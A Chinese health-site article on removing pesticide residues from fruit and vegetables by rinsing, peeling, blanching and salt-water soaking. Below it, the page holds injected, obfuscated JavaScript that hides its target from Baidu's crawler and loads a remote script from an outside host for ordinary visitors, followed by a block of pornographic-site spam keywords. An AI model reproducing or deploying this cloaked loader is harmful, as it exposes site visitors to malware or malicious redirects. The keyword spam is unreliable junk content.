當前位置:首頁 > 飲食 > 健康飲食 > 正文

怎么去除果蔬上的殘留農藥?正確吃果蔬

2015-06-21 09:21:16  來源:360常識網   熱度:
導語:清洗能夠去除表面的農藥,但是對于滲入皮內的就無能為力。一般而言,滲入的部分主要分布在表皮內,所以去皮是很有效的手段。比如土豆,去皮

清洗能夠去除表面的農藥,但是對于滲入皮內的就無能為力。一般而言,滲入的部分主要分布在表皮內,所以去皮是很有效的手段。比如土豆,去皮可以去掉70%以上的殘留農藥。

怎么去除果蔬上的殘留農藥?正確吃果蔬
怎么去除果蔬上的殘留農藥?正確吃果蔬

怎么去除果蔬上的殘留農藥?

不管按照廣義的還是狹義的概念,農作物種植中的農藥種類都極為巨大。在新聞媒體上,也經常出現“某某果蔬上檢出多少種農藥”的報道。

2010年的《食品與化學毒性》雜志上,發表了比利時學者總結的去除果蔬農殘的研究綜述。他們發現:焯水、去皮、油炸、清洗(并結合其他處理)是最有效的幾種途徑。

油炸平均可以去除90%,焯水則接近80%。

不過考慮到多數蔬菜水果并不適合油炸,而油炸本身有帶來高脂肪高熱量,以及破壞其他營養成分,并不是一種好的選擇。而焯水,即放到開水中燙一下就撈出來,高效而對營養成分的破壞比較小,對于很多蔬菜來說更加可行。有意思的是,如果長時間煮,則對農藥的去除效率會明顯下降。該綜述的計算結果是平均不到20%。這有可能是經過長時間的加熱,蔬菜細胞被破壞了,到了水中的農藥又可能進入到蔬菜中。

加熱對于農藥的影響可能比數字顯示的更加復雜。

比如說,有些農藥在高溫下會分解,而分解的產物有些無毒,有些卻可能更毒。在不清楚的前提下,通過烹飪前處理來去除,無疑是更好的方案。

清洗是研究得最多的方式。

美國康涅狄格州政府的一個部門曾經進行過一項規模比較大的清洗去農殘的研究。他們選取了28批次的生菜、草莓等果蔬,分別檢測清洗前后幾種常見農藥的含量變化。他們使用了自來水、洗滌靈以及4種專門的“果蔬清洗劑”。結果發現,每種方法都能顯著降低農藥殘留,但是這些專門的果蔬清洗劑與清水沒有區別。他們還發現,這些農藥是否容易被洗掉,跟它們的溶解性關系很小,主要是被清洗時的機械運動所去除的。所以,他們的建議是:在自來水下沖洗30秒以上,伴隨著搓洗。

用酸水、堿水或者鹽水來浸泡果蔬。

這些方式對于某些果蔬、某些農藥是有效的,比如一項研究中青椒用2%鹽水浸泡10分鐘后清洗,可以去除80%以上的農藥殘留。但是如果有的蔬菜表皮細胞被這些浸泡溶液破壞,那么洗到水中的農藥又有可能進入蔬菜中,類似于焯水和久煮的情況。

清洗能夠去除表面的農藥,但是對于滲入皮內的就無能為力。一般而言,滲入的部分主要分布在表皮內,所以去皮是很有效的手段。比如土豆,去皮可以去掉70%以上的殘留農藥。

總結就是去除果蔬農殘:清洗、去皮、烹飪。如果依然擔心,果蔬盡量多樣化也會有幫助。不同的果蔬使用的農藥不同,多樣化的選擇也就可以減少每種農藥的攝入量。因為這些不同的農藥不見得會產生累加危害,這樣也就有助于減少“萬一存在的風險”。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久精品国产第一区二区| 在线中文字幕精品第5页| 久久夜色精品国产嚕嚕亚洲av| 欧美人妻少妇精品久久黑人| 国产成人无码精品一区二区三区 | 精品400部自拍视频在线播放| 亚洲精品白浆高清久久久久久| 久久99热这里只频精品6| 国产精品国色综合久久| 步兵精品手机在线观看| 亚洲国产午夜精品理论片在线播放| 久久精品青青大伊人av| 亚洲国产精品尤物yw在线| 国产精品久久久久久久| 久久棈精品久久久久久噜噜| 国产精品久久久99| 国产精品资源一区二区| 91精品视频在线| 国产乱子伦精品免费视频| 国产精品久久久福利| 精品福利一区二区三区免费视频| 国内精品久久久久久野外| 国产精品青青在线观看爽香蕉| 无码国产69精品久久久久孕妇| 国产成人精品视频播放| 99久在线精品99re6视频 | 久久国产成人亚洲精品影院| 精品国产乱码一二三四区五区| 91成人精品视频| 久久久久久国产精品视频| 国产啪精品视频网站| 精品国产一区二区三区在线观看 | 亚洲精品福利网站| 国产精品久久久久三级| 亚洲精品av无码喷奶水糖心| 精品国际久久久久999波多野| 久久精品国产亚洲AV电影| 久99久精品免费视频热77| 亚洲av永久无码精品国产精品| 成人区精品一区二区不卡| 精品午夜国产人人福利|